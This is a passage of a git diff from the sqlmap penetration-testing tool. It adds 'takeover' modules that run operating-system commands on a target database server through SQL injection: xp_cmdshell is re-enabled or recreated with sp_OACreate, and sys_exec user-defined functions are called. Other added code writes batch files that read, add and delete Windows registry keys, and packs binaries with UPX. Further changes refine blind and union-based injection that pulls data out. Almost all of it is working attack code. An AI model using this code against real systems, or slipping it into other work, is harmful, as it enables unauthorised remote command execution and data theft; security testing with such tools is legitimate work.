if self.connectionStr.startswith("bind"):
self.spHeapOverflow()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
logger.debug(debugMsg)

139
lib/takeover/registry.py Normal file
View File

@ -0,0 +1,139 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
class Registry:
"""
This class defines methods to read and write Windows registry keys
"""
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
self.__regKey = regKey
self.__regName = regName
self.__regType = regType
self.__regValue = regValue
self.__randStr = randomStr(lowercase=True)
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
if parse == True:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
self.__batRead = (
"@ECHO OFF\r\n",
readParse
)
self.__batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
)
self.__batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
)
def __execBatPathRemote(self):
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
else:
cmd = self.__batPathRemote
self.execCmd(cmd)
def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w")
if self.__operation == "read":
lines = self.__batRead
elif self.__operation == "add":
lines = self.__batAdd
elif self.__operation == "delete":
lines = self.__batDel
for line in lines:
self.__batPathFp.write(line)
self.__batPathFp.close()
def __createRemoteBatchFile(self):
logger.debug("creating batch file '%s'" % self.__batPathRemote)
self.__createLocalBatchFile()
self.writeFile(self.__batPathLocal, self.__batPathRemote, "text", False)
os.unlink(self.__batPathLocal)
def readRegKey(self, regKey, regName, parse):
self.__operation = "read"
self.__initVars(regKey, regName, parse=parse)
self.__createRemoteBatchFile()
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
return self.evalCmd(self.__batPathRemote)
def addRegKey(self, regKey, regName, regType, regValue):
self.__operation = "add"
self.__initVars(regKey, regName, regType, regValue)
self.__createRemoteBatchFile()
debugMsg = "adding registry key name '%s' " % self.__regName
debugMsg += "to registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.__execBatPathRemote()
def delRegKey(self, regKey, regName):
self.__operation = "delete"
self.__initVars(regKey, regName)
self.__createRemoteBatchFile()
debugMsg = "deleting registry key name '%s' " % self.__regName
debugMsg += "from registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.__execBatPathRemote()

67
lib/takeover/udf.py Normal file
View File

@ -0,0 +1,67 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.convert import urlencode
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
class UDF:
"""
This class defines methods to deal with User-Defined Functions for
plugins.
"""
def __init__(self):
self.createdUdf = set()
self.udfToCreate = set()
def udfExecCmd(self, cmd, silent=False):
cmd = urlencode(cmd, convall=True)
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
def udfEvalCmd(self, cmd):
cmd = urlencode(cmd, convall=True)
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
if isinstance(output, (list, tuple)):
output = output[0]
return output
def udfInit(self):
errMsg = "udfInit() method must be defined within the plugin"
raise sqlmapUnsupportedFeatureException, errMsg

89
lib/takeover/upx.py Normal file
View File

@ -0,0 +1,89 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import time
from subprocess import PIPE
from subprocess import STDOUT
from subprocess import Popen as execute
from lib.core.common import dataToStdout
from lib.core.common import pollProcess
from lib.core.data import logger
from lib.core.data import paths
from lib.core.settings import PLATFORM
class UPX:
"""
This class defines methods to compress binary files with UPX (Ultimate
Packer for eXecutables).
Reference:
* http://upx.sourceforge.net
"""
def __initialize(self, srcFile, dstFile=None):
if "win" in PLATFORM:
self.__upxPath = "%s/upx/windows/upx.exe" % paths.SQLMAP_CONTRIB_PATH
elif "linux" in PLATFORM:
self.__upxPath = "%s/upx/linux/upx" % paths.SQLMAP_CONTRIB_PATH
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
if dstFile:
self.__upxCmd += " -o %s" % dstFile
def pack(self, srcFile, dstFile=None):
self.__initialize(srcFile, dstFile)
logger.debug("executing local command: %s" % self.__upxCmd)
process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT)
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
pollProcess(process)
upxStderr = process.communicate()[1]
if upxStderr:
logger.warn("failed to compress the file")
return None
else:
return os.path.getsize(srcFile)
def unpack(self, srcFile, dstFile=None):
pass
def verify(self, filePath):
pass
upx = UPX()

220
lib/takeover/xp_cmdshell.py Normal file
View File

@ -0,0 +1,220 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.blind.timebased import timeUse
class xp_cmdshell:
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins.
"""
def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell"
def __xpCmdshellCreate(self):
# TODO: double-check that this method works properly
cmd = ""
if kb.dbmsVersion[0] in ( "2005", "2008" ):
logger.debug("activating sp_OACreate")
cmd += "EXEC master..sp_configure 'show advanced options', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
self.xpCmdshellExecCmd(cmd)
self.__randStr = randomStr(lowercase=True)
cmd += "declare @%s nvarchar(999); " % self.__randStr
cmd += "set @%s='" % self.__randStr
cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
cmd += "EXEC sp_OADestroy @ID'; "
cmd += "EXEC master..sp_executesql @%s;" % self.__randStr
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd += " RECONFIGURE WITH OVERRIDE;"
self.xpCmdshellExecCmd(cmd)
def __xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure "
debugMsg += "stored procedure"
logger.debug(debugMsg)
cmd = "EXEC master..sp_configure 'show advanced options', 1; "
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode
cmd += "RECONFIGURE WITH OVERRIDE; "
cmd += "EXEC sp_configure 'show advanced options', 0"
return cmd
def __xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
debugMsg += "stored procedure"
logger.debug(debugMsg)
if mode == 1:
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
cmd += "@dllname='xplog70.dll'"
else:
cmd = "EXEC master..sp_dropextendedproc xp_cmdshell"
return cmd
def __xpCmdshellConfigure(self, mode):
if kb.dbmsVersion[0] in ( "2005", "2008" ):
cmd = self.__xpCmdshellConfigure2005(mode)
else:
cmd = self.__xpCmdshellConfigure2000(mode)
self.xpCmdshellExecCmd(cmd)
def __xpCmdshellCheck(self):
query = self.xpCmdshellForgeCmd("ping -n %d 127.0.0.1" % (conf.timeSec + 2))
duration = timeUse(query)
if duration >= conf.timeSec:
return True
else:
return False
def xpCmdshellForgeCmd(self, cmd):
return "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
def xpCmdshellExecCmd(self, cmd, silent=False, forgeCmd=False):
if forgeCmd == True:
cmd = self.xpCmdshellForgeCmd(cmd)
cmd = urlencode(cmd, convall=True)
inject.goStacked(cmd, silent)
def xpCmdshellEvalCmd(self, cmd):
self.getRemoteTempPath()
tmpFile = "%s/sqlmapevalcmd%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = self.xpCmdshellForgeCmd("%s > %s" % (cmd, tmpFile))
self.xpCmdshellExecCmd(cmd)
self.xpCmdshellExecCmd("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10)))
cmd = self.xpCmdshellForgeCmd("del /F %s" % tmpFile.replace("/", "\\"))
self.xpCmdshellExecCmd(cmd)
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, sort=False)
self.xpCmdshellExecCmd("DELETE FROM %s" % self.cmdTblName)
if isinstance(output, (list, tuple)):
output = output[0]
if isinstance(output, (list, tuple)):
output = output[0]
return output
def xpCmdshellInit(self, mandatory=True):
self.__xpCmdshellAvailable = False
infoMsg = "checking if xp_cmdshell extended procedure is "
infoMsg += "available, wait.."
logger.info(infoMsg)
result = self.__xpCmdshellCheck()
if result == True:
logger.info("xp_cmdshell extended procedure is available")
self.__xpCmdshellAvailable = True
else:
message = "xp_cmdshell extended procedure does not seem to "
message += "be available. Do you want sqlmap to try to "
message += "re-enable it? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice in ("y", "Y"):
self.__xpCmdshellConfigure(1)
if self.__xpCmdshellCheck() == True:
logger.info("xp_cmdshell re-enabled successfully")
self.__xpCmdshellAvailable = True
else:
logger.warn("xp_cmdshell re-enabling failed")
logger.info("creating xp_cmdshell with sp_OACreate")
self.__xpCmdshellConfigure(0)
self.__xpCmdshellCreate()
if self.__xpCmdshellCheck() == True:
logger.info("xp_cmdshell created successfully")
self.__xpCmdshellAvailable = True
else:
warnMsg = "xp_cmdshell creation failed, probably "
warnMsg += "because sp_OACreate is disabled"
logger.warn(warnMsg)
if self.__xpCmdshellAvailable == False and mandatory == False:
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
warnMsg += "try to proceed without it"
logger.warn(warnMsg)
self.envInitialized = True
elif self.__xpCmdshellAvailable == False:
errMsg = "unable to proceed without xp_cmdshell"
raise sqlmapUnsupportedFeatureException, errMsg
self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "text")

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -31,6 +31,7 @@ import traceback
from lib.core.agent import agent
from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout
from lib.core.common import getCharset
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
@ -44,25 +45,27 @@ from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None):
def bisection(payload, expression, length=None, charsetType=None):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = ""
finalValue = ""
partialValue = ""
finalValue = ""
asciiTbl = getCharset(charsetType)
if kb.dbmsDetected:
_, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
expressionUnescaped = unescaper.unescape(expression)
infoMsg = "query: %s" % expressionUnescaped
logger.info(infoMsg)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
@ -91,23 +94,25 @@ def bisection(payload, expression, length=None):
queriesCount = [0] # As list to deal with nested scoping rules
def getChar(idx):
maxValue = 127
def getChar(idx, asciiTbl=asciiTbl):
maxValue = asciiTbl[len(asciiTbl)-1]
minValue = 0
while (maxValue - minValue) != 1:
while len(asciiTbl) != 1:
queriesCount[0] += 1
limit = ((maxValue + minValue) / 2)
forgedPayload = payload % (expressionUnescaped, idx, limit)
position = (len(asciiTbl) / 2)
posValue = asciiTbl[position]
forgedPayload = payload % (expressionUnescaped, idx, posValue)
result = Request.queryPage(forgedPayload)
if result == True:
minValue = limit
minValue = posValue
asciiTbl = asciiTbl[position:]
else:
maxValue = limit
maxValue = posValue
asciiTbl = asciiTbl[:position]
if (maxValue - minValue) == 1:
# NOTE: this first condition should never occur
if len(asciiTbl) == 1:
if maxValue == 1:
return None
else:
@ -148,7 +153,7 @@ def bisection(payload, expression, length=None):
idxlock.release()
charStart = time.time()
val = getChar(curidx)
val = getChar(curidx)
if val == None:
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
@ -226,9 +231,9 @@ def bisection(payload, expression, length=None):
index = 0
while True:
index += 1
index += 1
charStart = time.time()
val = getChar(index)
val = getChar(index, asciiTbl)
if val == None:
break

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -27,10 +27,10 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import time
from lib.core.agent import agent
from lib.core.common import getDelayQuery
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import SECONDS
from lib.request import inject
from lib.request.connect import Connect as Request
@ -40,8 +40,7 @@ def timeTest():
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
logger.info(infoMsg)
timeQuery = queries[kb.dbms].timedelay % SECONDS
timeQuery = getDelayQuery()
query = agent.prefixQuery(" AND %s" % timeQuery)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
@ -49,7 +48,7 @@ def timeTest():
_ = Request.queryPage(payload)
duration = int(time.time() - start)
if duration >= SECONDS:
if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with AND condition syntax"
logger.info(infoMsg)
@ -69,7 +68,7 @@ def timeTest():
payload, _ = inject.goStacked(timeQuery)
duration = int(time.time() - start)
if duration >= SECONDS:
if duration >= conf.timeSec:
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
infoMsg += "based blind sql injection with stacked query syntax"
logger.info(infoMsg)
@ -83,3 +82,11 @@ def timeTest():
kb.timeTest = False
return kb.timeTest
def timeUse(query):
start = time.time()
_, _ = inject.goStacked(query)
duration = int(time.time() - start)
return duration

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -25,14 +25,103 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from lib.core.agent import agent
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
def __unionPosition(negative=False, falseCond=False):
if negative or falseCond:
negLogMsg = "partial (single entry)"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
if negative:
infoMsg += " with negative parameter value"
elif falseCond:
infoMsg += " by appending a false condition after the parameter value"
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
def __unionConfirm():
# Confirm the inband SQL injection and get the exact column
# position
if not isinstance(kb.unionPosition, int):
__unionPosition()
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(falseCond=True)
# Assure that the above function found the exploitable partial
# (single entry) inband SQL injection position by appending
# a false condition after the parameter value
if not isinstance(kb.unionPosition, int):
__unionPosition(negative=True)
# Assure that the above function found the exploitable partial
# (single entry) inband SQL injection position with negative
# parameter value
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
else:
conf.paramFalseCond = True
def __forgeUserFriendlyValue(payload):
value = ""
@ -119,9 +208,9 @@ def unionTest():
else:
technique = "NULL bruteforcing"
logMsg = "testing inband sql injection on parameter "
logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(logMsg)
infoMsg = "testing inband sql injection on parameter "
infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(infoMsg)
value = ""
columns = None
@ -138,9 +227,7 @@ def unionTest():
break
if kb.unionCount:
logMsg = "the target url could be affected by an "
logMsg += "inband sql injection vulnerability"
logger.info(logMsg)
__unionConfirm()
else:
warnMsg = "the target url is not affected by an "
warnMsg += "inband sql injection vulnerability"

View File

@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@ -29,7 +29,6 @@ import time
from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
@ -39,78 +38,15 @@ from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
reqCount = 0
reqCount = 0
def __unionPosition(expression, negative=False):
global reqCount
if negative:
negLogMsg = "partial"
else:
negLogMsg = "full"
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
if len(randQueryUnescaped) > len(expression):
blankCount = len(randQueryUnescaped) - len(expression)
expression = (" " * blankCount) + expression
elif len(randQueryUnescaped) < len(expression):
blankCount = len(expression) - len(randQueryUnescaped)
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query, negative=negative)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
reqCount += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(infoMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
if negLogMsg == "partial":
warnMsg += ", sqlmap will retrieve the query output "
warnMsg += "through blind sql injection technique"
logger.warn(warnMsg)
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
@ -138,28 +74,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
# Prepare expression with delimiters
if unescape:
expression = agent.concatQuery(expression)
expression = agent.concatQuery(expression, unpack)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
__unionPosition(expression)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
__unionPosition(expression, True)
# Assure that the above function found the exploitable partial
# inband SQL injection position
if not isinstance(kb.unionPosition, int):
return
else:
conf.paramNegative = True
if conf.paramNegative == True and direct == False:
_, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
@ -300,11 +219,11 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
debugMsg = "query: %s" % query
logger.debug(debugMsg)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
@ -321,7 +240,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False):
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.debug(debugMsg)
return value

Some files were not shown because too many files have changed in this diff Show More